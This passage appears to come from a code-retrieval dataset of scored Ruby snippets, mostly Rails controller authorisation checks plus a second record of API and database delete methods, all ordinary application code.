!current_user.is_admin?\n render 'shared/forbidden'\n return false\n end\n return true\n end", "title": "" }, { "docid": "a23418eae81f3cc4c1a3160389cf5abb", "score": "0.5410417", "text": "def manager_interviews_status\n @interviews_late, @interviews_done, @under_process = ResumesController.filter_interviews_based_upon_processing(get_current_employee)\n render \"interviews_status\" \n end", "title": "" }, { "docid": "b64261e508f0dd9a93379be8793002ad", "score": "0.5395996", "text": "def is_editor?\n if current_user || current_user_api\n respond_to do |format|\n format.html{\n return current_user.nivel_acceso == 'editor'\n }\n format.json{\n return current_user_api.nivel_acceso == 'editor'\n }\n end\n end\n end", "title": "" }, { "docid": "afb084168ab6e9686a8bafa5804b8b38", "score": "0.539299", "text": "def authorize_user_to_edit\n unless current_user.admin? || current_user.moderator?\n flash[:alert] = \"You must be an admin or moderator to do that.\"\n redirect_to topics_path\n end\n end", "title": "" }, { "docid": "803c96dafd8e053801d123cd99d60bad", "score": "0.5389079", "text": "def verify_editor\n (current_user.nil?) ? redirect_to(root_path) : (redirect_to(admin_root_path) unless current_user.is_editor?)\n end", "title": "" }, { "docid": "0162a560ab0b964b770024b9b309a083", "score": "0.5361127", "text": "def show\n # Only admins should have an edit button.\n @actions = nil if !current_user.has_role?('admin')\n\n respond_to do |format|\n format.html { render partial: 'show', layout: 'admin/admin_show' }\n format.xml { render xml: @weblog_archive }\n end\n end", "title": "" }, { "docid": "aec637d0caed45dbd29d72376da0964c", "score": "0.5357864", "text": "def authorize_create_snippet!\n return render_404 unless can?(current_user, :create_snippet, project)\n end", "title": "" }, { "docid": "912a5326193e67d7c9b281a3c65ea23a", "score": "0.53550637", "text": "def authorize_only(role,&block)\n role = {:big_wedgie=>1,:admin=>2,:leader=>3,:user=>4,:patient=>5,:temp=>7,:inactive=>10}[role]\n if (@user.role==role)\n if (block)\n if (! block.call)\n flash[:notice] = \"You do not have authority to access that page!\"\n @redirect =true\n if(@user.role==5)\n redirect_to(patient_path(@user.wedgetail))\n elsif(@user.role==7)\n unless request.xhr?\n redirect_to(:controller => 'patients',:action=>'show',:wedgetail=>@user.wedgetail.from(6)) \n else\n session[:original_uri] = nil\n render :update do |page| \n page.redirect_to(:controller => 'patients',:action=>'show',:wedgetail=>@user.wedgetail.from(6))\n end\n end\n else\n \n unless request.xhr?\n redirect_to(:controller => 'patients') \n else\n session[:original_uri] = nil\n render :update do |page|\n page.redirect_to(:controller => 'patients')\n end\n end\n end\n else\n @authorized = true\n end\n else\n @authorized = true\n end\n end\n end", "title": "" }, { "docid": "7ed333ecf9c78fdbeac3af0eabeb2d8f", "score": "0.535446", "text": "def check_role\n redirect_to(root_url) unless check_role?(\"Document Editor\") or check_role?(\"Site Admin\")\n end", "title": "" }, { "docid": "14e89e6638224e31f4c32e45025d2a8e", "score": "0.5353153", "text": "def show\n authorize! :read_admin, User\n\n end", "title": "" }, { "docid": "ce0f2d80d4cdded75dbad0ca7e058728", "score": "0.5348517", "text": "def action_methods\n if current_user && current_user.can_be_editor?\n super\n else\n super - %w[edit destroy new create update]\n end\n end", "title": "" }, { "docid": "56a2c5de7069888fec029454b4b9622d", "score": "0.5347719", "text": "def filter_view_modify\n @view_modify = current_user && current_user.admin? || permitted_to?(:update)\n end", "title": "" }, { "docid": "56766340833fa89487ceaef8fe0faac9", "score": "0.5344714", "text": "def not_loadable_actions; end", "title": "" }, { "docid": "17d8ddfb778366b998c36a8a2b67f953", "score": "0.5340976", "text": "def authorize_auditor\n\t \tunless (@audit.auditor == current_user.id || current_user.role_title == \"company_admin\")\n flash[:alert] = \"Access restricted\"\n\t \t\tredirect_to audits_path\n\t \tend\n end", "title": "" }, { "docid": "c824304d4795c0be8938e6fa4e9b6bf8", "score": "0.5340421", "text": "def restrict_to_admin\n if not user_account_signed_in? or not current_user_account.is_admin? #current_user_account.account_role_ids.min <= 2\n respond_to do |format|\n format.html { render text: 'Find a way to redirect to login.', status: 401 }\n format.json { render text: '{ error: \"401 Unauthorized access\" }', status: 401 }\n end\n end \n end", "title": "" }, { "docid": "d25a419d32a6b2207c16653761c3f0c9", "score": "0.53401774", "text": "def authorize_auditor_skip_company_admin\n\t \tif(@audit.auditor != current_user.id && current_user.role_title != \"company_admin\")\n flash[:alert] = \"Access restricted\"\n\t \t\tredirect_to audits_path\n\t \tend\n end", "title": "" }, { "docid": "d25a419d32a6b2207c16653761c3f0c9", "score": "0.53401774", "text": "def authorize_auditor_skip_company_admin\n\t \tif(@audit.auditor != current_user.id && current_user.role_title != \"company_admin\")\n flash[:alert] = \"Access restricted\"\n\t \t\tredirect_to audits_path\n\t \tend\n end", "title": "" }, { "docid": "2bfcce1ac5c5e7585e0fce0f14642270", "score": "0.5338117", "text": "def show\n authorize @encontro\n end", "title": "" }, { "docid": "8530db3608fe8e802d5c1a8ebdb1dfd7", "score": "0.5327054", "text": "def show\n authorize @snippet, :show?\n end", "title": "" }, { "docid": "5223a5c9e9d332cafa9de97c97ff9441", "score": "0.5320239", "text": "def require_admin\n render file: 'public/401.html', status: :unauthorized unless @current_user.admin?\n end", "title": "" }, { "docid": "30090e256b628cc0bf0eeaa9adf8afb6", "score": "0.5317851", "text": "def show\n raise CanCan::AccessDenied unless current_ability.admin?\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"params=#{params}\",\n \"\" ] if job_statuses_controller_debug_verbose\n init_begin_end_dates\n @presenter = presenter_class.new( controller: self, current_ability: current_ability )\n end", "title": "" }, { "docid": "93ce8dc1af2976b5937c6a9ce6aadd2d", "score": "0.53174263", "text": "def authorized?(<%= file_name %>)\n true\n end\n\n # overwrite this method if you only want to protect certain actions of the controller\n # example:\n # \n # # don't protect the login and the about method\n # def protect?(action)\n # if ['action', 'about'].include?(action)\n # return false\n # else\n # return true\n # end\n # end\n def protect?(action)\n true\n end\n\n # Example of integration with account_location plugin\n # def account?\n # @account ||= Account.find_by_username(account_subdomain)\n # end\n # \n # def account_required\n # return true if account?\n # redirect_to(:controller => '/<%= controller_file_name %>', :action => 'index') and return false\n # end\n\n # To require logins, use:\n #\n # before_filter :login_required # restrict all actions\n # before_filter :login_required, :only => [:edit, :update] # only restrict these actions\n # \n # To skip this in a subclassed controller:\n #\n # skip_before_filter :login_required\n # \n def login_required\n # skip login check if action is not protected\n return true unless protect?(action_name)\n\n # check if <%= file_name %> is logged in and authorized\n return true if logged_in? and authorized?(current_<%= file_name %>)\n\n # store current location so that we can \n # come back after the <%= file_name %> logged in\n store_location\n\n # call overwriteable reaction to unauthorized access\n access_denied and return false\n end\n\n # overwrite if you want to have special behavior in case the <%= file_name %> is not authorized\n # to access the current operation. \n # the default action is to redirect to the login screen\n # example use :\n # a popup window might just close itself for instance\n def access_denied\n redirect_to :controller => '/<%= controller_file_name %>', :action => 'login'\n end \n\n # store current uri in the session.\n # we can return to this location by calling return_location\n def store_location\n session[:return_to] = request.request_uri\n end\n\n # move to the last store_location call or to the passed default one\n def redirect_back_or_default(default)\n session[:return_to] ? redirect_to_url(session[:return_to]) : redirect_to(default)\n session[:return_to] = nil\n end\n\n # adds ActionView helper methods\n def self.included(base)\n base.send :helper_method, :current_<%= file_name %>, :logged_in?\n end\nend", "title": "" }, { "docid": "3e0574b83232d6c389be65e1e8cec426", "score": "0.53132576", "text": "def authorized_todo\n if current_user.present?\n if current_user.isManager || current_user.isUser\n flash[:notice] = \"Da haben wir einen Riegel vorgeschoben und zwar keinen Schokoriegel!\"\n redirect_to root_path and return\n end\n end\n end", "title": "" }, { "docid": "3090de0df1c2f38faa8b571e990d0c6a", "score": "0.53068304", "text": "def edit\n authorize @contribution\n end", "title": "" }, { "docid": "7558926736fe6d9fd98a822e615247a5", "score": "0.5302013", "text": "def preview\n authorize Page, :edit?\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @page }\n end\n end", "title": "" }, { "docid": "ac161dcfd10f2a16dd4cbc89a15840ec", "score": "0.5299801", "text": "def divider_access\n\t\tauthenticate_moderator! unless moderator_signed_in? || controller_name == \"guest_pages\" || legaly_actions.include?(action_name)\n\tend", "title": "" }, { "docid": "ad26243f7f68230106c435c75c5e05be", "score": "0.5299352", "text": "def check_edit_permissions\n if !user_signed_in? || !@study.can_edit?(current_user)\n alert = 'You do not have permission to perform that action.'\n respond_to do |format|\n format.js {render js: \"alert('#{alert}')\" and return}\n format.html {redirect_to merge_default_redirect_params(studies_path, scpbr: params[:scpbr]),\n alert: alert and return}\n end\n end\n end", "title": "" }, { "docid": "2db1f7edfe35c475954b2f38a3ddbaed", "score": "0.52978164", "text": "def enforce_show_permissions\n #DO NOTHING\n end", "title": "" }, { "docid": "5dac84226ed16d2282655c033a95e580", "score": "0.5292931", "text": "def show_progress_bar?\n true\n end", "title": "" }, { "docid": "f7dc90ecf23a2cb98fde3a1c644b71fd", "score": "0.5290503", "text": "def show_if_authorized\n @user = User.find_by(name: params[:user][:name])\n if @user.nil?\n flash[:note] = params[:user][:name] + ' does not exist.'\n redirect_to action: 'list'\n else\n role\n # check whether current user is authorized to edit the user being searched, call show if true\n\n if @role.parent_id.nil? || @role.parent_id < session[:user].role_id || @user.id == session[:user].id\n @total_user_num = User.count\n @assignment_participant_num = AssignmentParticipant.where(user_id: @user.id).count\n render action: 'show'\n else\n flash[:note] = 'The specified user is not available for editing.'\n redirect_to action: 'list'\n end\n end\n end", "title": "" }, { "docid": "8384a710e83089b7ec6fdd123d72637d", "score": "0.5286545", "text": "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_blog?(current_user.id)\n end", "title": "" }, { "docid": "1090bbfa1a3e93126f2c4d72a60d5da5", "score": "0.5286497", "text": "def show\n check_permissions :read\n end", "title": "" }, { "docid": "688e99b5860c43f94f892945dcf5b20f", "score": "0.52863973", "text": "def show\n if current_user.role.nombre == 'admin'\n respond_to do |format|\n format.html {redirect_to welcome_index_path, notice: 'usted no cuenta con los permisos para acceder a esta url'}\n end\n end\n authorize! :show,@alumnos\n end", "title": "" }, { "docid": "cfb7c474164b44e5ef0cfab0f99a9e1f", "score": "0.52842885", "text": "def save\n # use custom layout\n skip_before_filter :verify_authenticity_token, :only => [:set_status]\n render :action => 'save', :layout => false\n end", "title": "" }, { "docid": "f555c3c977ed371890e4c96f734fd7c2", "score": "0.52831507", "text": "def filter_docs_with_read_access!\n super\n flash[:notice] = nil\n end", "title": "" }, { "docid": "f555c3c977ed371890e4c96f734fd7c2", "score": "0.52831507", "text": "def filter_docs_with_read_access!\n super\n flash[:notice] = nil\n end", "title": "" }, { "docid": "877815a979a9aa9ed242c2ffbc8e29fa", "score": "0.5282083", "text": "def show\n authorize @load\n end", "title": "" }, { "docid": "2faf584a89dcdb915fe22d10611334b0", "score": "0.5280565", "text": "def edit\n authorize User\n end", "title": "" }, { "docid": "491dfa01bd40d3cae7d19edb1a5f1185", "score": "0.52767605", "text": "def authenticate_editor!\n\t\tredirect_to root_path unless user_signed_in? && current_user.is_editor?#Redirijame al home a menos(unless) de q el usuario este logeado y ademas(currenst_user) se un editor.\n\tend", "title": "" }, { "docid": "3644a027cd285cf9b751e587b2ed97e1", "score": "0.5275765", "text": "def show\r\n # if @post.status == 'Draft'\r\n # @user = current_user\r\n # authorize @user\r\n # elsif @post.status == 'Archive'\r\n # @user = current_user.moderator! && current_user\r\n # authorize @user\r\n # end\r\n end", "title": "" }, { "docid": "31af21fb0a87821e8e8a82b0c71eb2bb", "score": "0.52752477", "text": "def before_run\n end", "title": "" }, { "docid": "6e92671a555918d0e1f72e2ca844c3a5", "score": "0.5255417", "text": "def show\n authorize @admin_profile\n end", "title": "" }, { "docid": "3580a74dbb6104019f4205ead64eef73", "score": "0.5250959", "text": "def adminDash\n authorize current_user\n end", "title": "" }, { "docid": "1e90b80bc659e987a1c3b0b4089ae231", "score": "0.5247788", "text": "def authorized\n render_status :unauthorized unless logged_in?\n end", "title": "" }, { "docid": "baf33d35b9091cd551ab164558c273b1", "score": "0.52476764", "text": "def edit\n login_required\n end", "title": "" }, { "docid": "2c99cb09896d6542cbb621b158a88a64", "score": "0.5247508", "text": "def authorize_admin\n redirect_to(:controller => 'folder', :action => 'list') and return false unless @logged_in_user.is_admin?\n end", "title": "" }, { "docid": "5581363e46c77b1fe3b709a0d8601198", "score": "0.52453935", "text": "def index\n authorize!(:view_approved_tsas)\n end", "title": "" }, { "docid": "5ff1381d1bd128153370ab09f44f1e42", "score": "0.52407026", "text": "def authenticate_edit!\n redirect_to(login_path,\n notice: 'You must be logged in to visit that page') unless @work.id == session[:preview_id]\n end", "title": "" } ]
49aaf3adf44d79c472fc41b73fc4ca10
Delete this Website Push ID.
[ { "docid": "20ae10f2531b49db17b99269c816ad81", "score": "0.8009543", "text": "def delete!\n client.delete_website_push!(website_id, mac: mac?)\n self\n end", "title": "" } ]
[ { "docid": "f245842fcfaa8d5c260b26307489641d", "score": "0.6959248", "text": "def delete(id)\n Mailgun.submit :delete, webhook_url(id)\n end", "title": "" }, { "docid": "12e378a2d4b03dbe8a0be4efa03d0d4c", "score": "0.6862061", "text": "def delete(id)\n # TODO: Implement this for Stripe webhooks\n end", "title": "" }, { "docid": "8ba3a2a604d110ff896d832af1073c4c", "score": "0.67397237", "text": "def destroy\n @push = Push.find(params[:id])\n @push.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_pushes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e4e114de3b9a881e1c13b04631875019", "score": "0.6725567", "text": "def destroy\n device = Device.find_by_push_token(params[:push_token])\n device.delete\n \n render response_ok\n end", "title": "" }, { "docid": "f40e576eb607e6b30766d2314f2f43cd", "score": "0.6578276", "text": "def destroy\n @push_notification = PushNotification.find(params[:id])\n @push_notification.destroy\n\n respond_to do |format|\n format.html { redirect_to push_notifications_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "35d189d6efe89346d7b97cecee10397f", "score": "0.6484893", "text": "def delete(unique_id)\n rsp = post(\"<delete><id>#{unique_id}</id></delete>\")\n success?(rsp.body) or log_error(rsp.body)\n end", "title": "" }, { "docid": "ea3a9b4e10124aaff57f64e6a790c930", "score": "0.6482102", "text": "def destroy\n @push_token = PushToken.find(params[:id])\n mag = @push_token.magazine\n @push_token.destroy\n\n respond_to do |format|\n format.html { redirect_to push_tokens_url(id:mag.apps_id) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d4675008315912284cab35ae758dcb8", "score": "0.64776915", "text": "def delete(id)\n _params = {:id => id}\n return @master.call 'webhooks/delete', _params\n end", "title": "" }, { "docid": "34264605c47edda6ffe32df87c7a7266", "score": "0.64702785", "text": "def delete\n delete_from_server single_url\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.6443327", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "bd12787120e8302694b68e5e6393e135", "score": "0.64289486", "text": "def delete\n storage.delete(id)\n end", "title": "" }, { "docid": "bfd759671ae068b6aa5e3f2c8891926b", "score": "0.6381003", "text": "def destroy\n @pushup = Pushup.find(params[:id])\n @pushup.destroy\n\n respond_to do |format|\n format.html { redirect_to pushups_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "15019f65fcb2dc09a625318cab419063", "score": "0.62616295", "text": "def delete\n client.delete(url)\n @deleted = true\n end", "title": "" }, { "docid": "b5ba4c4b18cad2b9c04299d018de70cd", "score": "0.6261119", "text": "def delete(params = {})\n http_helper.send_delete_request(\"#{@url_prefix}/#{get_webhook_id!(params)}\", params)\n end", "title": "" }, { "docid": "12649d62912dc561d03cb528b51fe007", "score": "0.6199025", "text": "def delete\n api_client.delete(url)\n end", "title": "" }, { "docid": "4bd782c74f6f0b12c9da67d0a737b65a", "score": "0.6179175", "text": "def delete(id)\n wf_event_id?(id)\n api.delete(id)\n end", "title": "" }, { "docid": "3f57db61f4b81e6f1d5bfacccaaf6951", "score": "0.6171628", "text": "def delete(connection)\n r = connection.execute(%(<SiteDeleteRequest session-id=\"#{connection.session_id}\" site-id=\"#{@id}\"/>))\n r.success\n end", "title": "" }, { "docid": "aebd3382a74b163d7a90e74efbecef54", "score": "0.61536384", "text": "def deleteid(songid)\n send_request('deleteid %s' % songid)\n end", "title": "" }, { "docid": "ad0c36135de0490ca71e281a94cd49f9", "score": "0.6126019", "text": "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "title": "" }, { "docid": "e6582ac105f6f9c87cd5e025582eb817", "score": "0.61189914", "text": "def destroy\n fail \"No id; can't delete #{self.inspect}!\" unless id\n Connection.delete(create_route(:delete))\n end", "title": "" }, { "docid": "7c1e3ade7ce7eb263fd0d47c98adc01e", "score": "0.61131227", "text": "def destroy\n @user_push_key.destroy\n respond_to do |format|\n format.html { redirect_to user_push_keys_url, notice: 'User push key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.61069274", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.61069274", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.61069274", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.61069274", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "055b79ef24ed80836e6093a03d541c37", "score": "0.6104359", "text": "def delete()\n\n Email.destroy(self.id)\n end", "title": "" }, { "docid": "a64440d9091ae808728f94a87fd809bf", "score": "0.6091341", "text": "def delete(id)\n @conn.execute(*@builder.delete(id))\n end", "title": "" }, { "docid": "9d7afcbfa30b564b4b338e58013da9ff", "score": "0.6087656", "text": "def delete_message(id)\n record \"/msg/delete/#{id}\"\n end", "title": "" }, { "docid": "603f01214652bf35a160d9add1b733c2", "score": "0.6080659", "text": "def delete_id(id)\n redis.srem(key, id)\n end", "title": "" }, { "docid": "f9108257de4704c003a2446e159f62cd", "score": "0.6071861", "text": "def delete(id)\n connection.delete do |req|\n req.url \"job/#{id}\"\n end\n end", "title": "" }, { "docid": "67561604e13994187a179f02cc1f3f24", "score": "0.60681874", "text": "def destroy\n @notification_count.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "d7ffc9883ff8875f3f96986dcd13d732", "score": "0.60561335", "text": "def delete_webhook(id)\n make_json_api_request :delete, \"v2/#{account_id}/webhooks/#{id}\"\n end", "title": "" }, { "docid": "6a654b43f1b7f1907615cd5679118029", "score": "0.6037495", "text": "def destroy\n @website = Website.find(params[:id])\n @website.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "89518d0c88741365e86a3f50260bbc9f", "score": "0.60360867", "text": "def delete\n execute_prlctl('delete', @uuid)\n end", "title": "" }, { "docid": "ec3d83c314466620f12f806cf885edb8", "score": "0.6030549", "text": "def delete(id)\n @hashes.delete(id)\n end", "title": "" }, { "docid": "35e8a173be4555f553a5248544aacc8a", "score": "0.6028884", "text": "def delete(message_id)\n Mailgun.submit :delete, messages_url(message_id)\n end", "title": "" }, { "docid": "c6798424d46577fa4ffac5eda4ecc0c6", "score": "0.60255075", "text": "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "title": "" }, { "docid": "ab0321c8bbfbbbf699558f63ea7bafd0", "score": "0.60207397", "text": "def delete()\n sql = \"DELETE FROM stock_items WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end", "title": "" }, { "docid": "ee3b36d94e9fa9123f5e7ac28e6d7020", "score": "0.60177743", "text": "def delete\n @client.post('/api/del_msg', id: get_attribute(:name))\n end", "title": "" }, { "docid": "1aab4a195279e084bd438c440932d234", "score": "0.6016697", "text": "def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end", "title": "" }, { "docid": "a7978f426090ffb14fae7cbd0f9938ea", "score": "0.60061127", "text": "def delete(id)\n Net::SFTP.start(@host, @user, @password) do |sftp|\n sftp.remove!(url(id))\n end\n end", "title": "" }, { "docid": "296566a8b99a6b5d8d6e104daaaa7c76", "score": "0.59989536", "text": "def delete\n MoxiworksPlatform::Event.delete(self.to_hash)\n end", "title": "" }, { "docid": "122001277458478e84b6397e10fab342", "score": "0.59967065", "text": "def delete(id)\n self.find(id).delete_\n end", "title": "" }, { "docid": "952026e0eb5ec78ec747b30bf731c4a4", "score": "0.5989526", "text": "def destroy\n @dealer_push_index = DealerPushIndex.find(params[:id])\n @dealer_push_index.destroy\n\n respond_to do |format|\n format.html { redirect_to dealer_push_indices_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "ec0de5f1a693735f78f64b7cdd2b1df9", "score": "0.5986556", "text": "def delete\n self.class.delete self.href\n end", "title": "" }, { "docid": "8cd585665a98895653c18eb03fb924a3", "score": "0.59722966", "text": "def destroy\n @pushed = Pushed.find(params[:id])\n @pushed.destroy\n\n respond_to do |format|\n format.html { redirect_to(pusheds_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "696526e4ca63c6f6866513c8ddae5e2c", "score": "0.5968725", "text": "def destroy\n @gcm_device = GcmDevice.find(params[:id])\n @gcm_device.destroy\n\n respond_to do |format|\n format.html { redirect_to gcm_devices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d7df5def633004e5869af4ed5d653fb", "score": "0.5962553", "text": "def delete_by_id(id)\n delete_payment_token_by_id(id)\n end", "title": "" }, { "docid": "c223e391b63ea82664ca66ce12945bcc", "score": "0.59582096", "text": "def delete\n connection.delete_user id\n nil\n end", "title": "" }, { "docid": "a489b225963fcb6fa25af9060ebdd44f", "score": "0.59565103", "text": "def destroy\n @producer = Pusher.destroy_producer(params)\n\n head :no_content\n end", "title": "" }, { "docid": "684fe1dad7d3009f56143f51221ffaf4", "score": "0.59512466", "text": "def delete(id)\n @storage.delete(id)\n purge(id)\n end", "title": "" }, { "docid": "e79ddd80e6a777261c5804b3c8c8c765", "score": "0.59511364", "text": "def del\n delete\n end", "title": "" }, { "docid": "8f06e8310f316354874315f66071a977", "score": "0.59455293", "text": "def delete()\n @client.make_request(:delete, @client.concat_user_path(\"#{DOMAIN_PATH}/#{domain_id}/endpoints/#{id}\"))[0]\n end", "title": "" }, { "docid": "b6346d7947ccd535f3fd9bb5e06c8fd3", "score": "0.59448075", "text": "def delete(major,minor)\n major = major.to_sym\n if minor\n delete_hash = minor\n else\n if storage.hash_exists?(major)\n delete_hash = storage.find(major)\n else\n puts 'Delete hash not found in storage.'\n puts 'Use: imgurr delete <id> <delete_hash>'\n return\n end\n end\n if ImgurAPI.delete(delete_hash)\n puts 'Successfully deleted image from Imgur'\n storage.delete(major)\n storage.save\n else\n puts 'Unauthorized Access. Wrong delete hash?'\n end\n end", "title": "" }, { "docid": "3f47b99d44a515efe964fd3207d68b31", "score": "0.59418035", "text": "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "title": "" }, { "docid": "078f9cdbe59be32f1e3c963b957b11be", "score": "0.59397894", "text": "def delete(_url)\n # do nothing since we can't find the key by url\n end", "title": "" }, { "docid": "182bd7e147964a4748c62b822772658f", "score": "0.5933466", "text": "def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end", "title": "" }, { "docid": "1b44d2ac6173b492a368d0ff7f4d89bc", "score": "0.5920782", "text": "def delete!\n clear!\n delete\n end", "title": "" }, { "docid": "2e8f09c5df7b24ca78cb72a19558f550", "score": "0.5920076", "text": "def purge(id)\n uri = URI.parse(PURGE_URL)\n uri.user = @api_key\n\n post(uri, \"url\" => url(id))\n end", "title": "" }, { "docid": "dad01b9511ce4f603b2da589a1087285", "score": "0.5906653", "text": "def destroy\n\t\t@website = Website.find(params[:id])\n\t\t@website.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to websites_url }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend", "title": "" }, { "docid": "560cf4b6a38ef2b6df6774f83d7e8e6c", "score": "0.58991414", "text": "def destroy\n @website.destroy\n respond_to do |format|\n format.html { redirect_to(contact_info_admin_websites_url) }\n format.xml { head :ok }\n end\n add_log(user: current_user, action: \"Deleted website: #{@website.url}\")\n end", "title": "" }, { "docid": "a9cdf07abd2f7a88bb3bcc4c652167b8", "score": "0.5892951", "text": "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "title": "" }, { "docid": "3633e737644dae5f5d8d49f3248f7a12", "score": "0.5890953", "text": "def delete\n api(\"Delete\")\n end", "title": "" }, { "docid": "d2f2b7e27bbbe134661361074c399275", "score": "0.58884686", "text": "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "title": "" }, { "docid": "8411eaaef5b72225b96a14f5ded2c62c", "score": "0.58850354", "text": "def delete_notification!(id: nil)\n add_to_task_queue do\n notification_data_source.delete_notification!(id: id)\n end\n end", "title": "" }, { "docid": "daeb01a513436cf1c6b07f1df4810b16", "score": "0.5884131", "text": "def delete\n CONNECTION.execute(\"DELETE FROM links WHERE id = #{self.id};\")\n end", "title": "" }, { "docid": "b9fcacba5cb794f846a2427fb1b9d23d", "score": "0.5876606", "text": "def destroy\n @identity.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "f802bc32b089080aee96473b4606f972", "score": "0.587484", "text": "def delete()\n\n MailAccount.destroy(self.id)\n end", "title": "" }, { "docid": "23ea2aa5a1f43dbf60f1be3ff0243145", "score": "0.5873254", "text": "def delete(payload)\n post_like payload, Net::HTTP::Delete.new(@uri.path)\n end", "title": "" }, { "docid": "445db788877839b720c3ecdecc1cb1cb", "score": "0.58679736", "text": "def delete\n out = _delete(id) if @store\n @id = nil\n @store = nil\n out\n end", "title": "" }, { "docid": "2d2a776cdd5004c1284233e70b6c00cd", "score": "0.5867657", "text": "def call(id)\n client.delete(\"/api/rest/v1/notifications/#{id}.json\")\n true\n end", "title": "" }, { "docid": "59de6a02d1dc8498105e83ca45b726c0", "score": "0.5865079", "text": "def delete(id)\n call(:delete, path(id))\n end", "title": "" }, { "docid": "e381762d2e94854aa679f720e4cb47d9", "score": "0.58605397", "text": "def del(id)\n if id.is_a?(Fixnum)\n if @group[id-1]\n @group.delete(id-1)\n @mode.refresh(@group) if @mode\n return 'host successful deleted'\n else\n return 'invalid host id'\n end\n else\n 'invalid value'\n end\n end", "title": "" }, { "docid": "d6f9474f5968ccc76cd256fa7d6333be", "score": "0.5857058", "text": "def delete_sip_account(id)\n @cloudvox_api[\"/phones/#{id}.json\"].delete\n end", "title": "" }, { "docid": "bb7a2c9dff5ccb44844d7bcda94c44eb", "score": "0.58505434", "text": "def delete id=nil\n id ||= self.id\n @nimble.delete \"contact/#{id}\"\n end", "title": "" }, { "docid": "4ff763454df19e3f513a7e927a8f3b9b", "score": "0.5849189", "text": "def destroy\n get_message().delete\n end", "title": "" }, { "docid": "3492b8bba68cfda6009cf7602fa1644d", "score": "0.5838812", "text": "def remove identifier\n @storage.delete(identifier)\n end", "title": "" }, { "docid": "1e83ab36435ce4bc5d878a3db3d5e4d1", "score": "0.58386874", "text": "def delete()\n sql = \"DELETE FROM tickets WHERE id=#{@id};\"\n SqlRunner.run(sql)\n end", "title": "" }, { "docid": "8c0afa574c9b2a4651bc5b4faa56b225", "score": "0.5837922", "text": "def delete_by_uuid uuid\n deliberately_unscoped(Webhook).where(uuid: uuid).destroy\n end", "title": "" }, { "docid": "1e5b5e604a67832a02d980a75497de82", "score": "0.58368605", "text": "def delete()\n sql = \"DELETE FROM albums\n WHERE id = $1;\"\n values = [@id]\n SqlRunner.run( sql, values )\n end", "title": "" }, { "docid": "8abeb7dfc8e0526fc0d1c9c3f51e60fa", "score": "0.58368295", "text": "def remove_element\n @app.dom_on_sockets.remove_element @id\n end", "title": "" }, { "docid": "b85528575cca7c296a666faa0b3a3d06", "score": "0.5830184", "text": "def remove identifier\n @storage.delete(identifier)\n end", "title": "" }, { "docid": "ce10d2d6fff9b72df133b53052c3424d", "score": "0.58299035", "text": "def delete\n execute_request { faraday_connection.delete }\n end", "title": "" }, { "docid": "db78f7036b1007c057f87808abd3167c", "score": "0.58292156", "text": "def destroy\n if @notification.destroy\n send_success_json(@notification.id, {:msg => \"deleted\"})\n else\n send_error_json(@notification.id, \"delete_error\", 400)\n end\n end", "title": "" }, { "docid": "bd4efb798c93a16000637ebdb741b300", "score": "0.5827996", "text": "def delete_topic id\n\t\t\t\t\tFreshdesk::Api::Client.delete_status_wrapper do\n\t\t\t\t\t\t( @connection.delete TOPICS, id ).code\n\t\t\t\t\tend\n\t\t\t\tend", "title": "" }, { "docid": "97ac56580d69dfb212d5a3ab24157111", "score": "0.58219975", "text": "def destroy\n # binding.pry\n @website.destroy\n end", "title": "" }, { "docid": "601c0b32b71833206791a652ddadcf80", "score": "0.5816195", "text": "def delete(model)\n redis.srem(key, model.id)\n end", "title": "" }, { "docid": "9fb6238099726955c553de04d28c0ba1", "score": "0.58157724", "text": "def destroy(id)\n http.delete(\"/nfse/#{id}\") do |response|\n response.code == 204\n end\n end", "title": "" }, { "docid": "c51ae6a5f571b9bf9d789473436807d5", "score": "0.5812747", "text": "def delete\n redis.del key\n end", "title": "" }, { 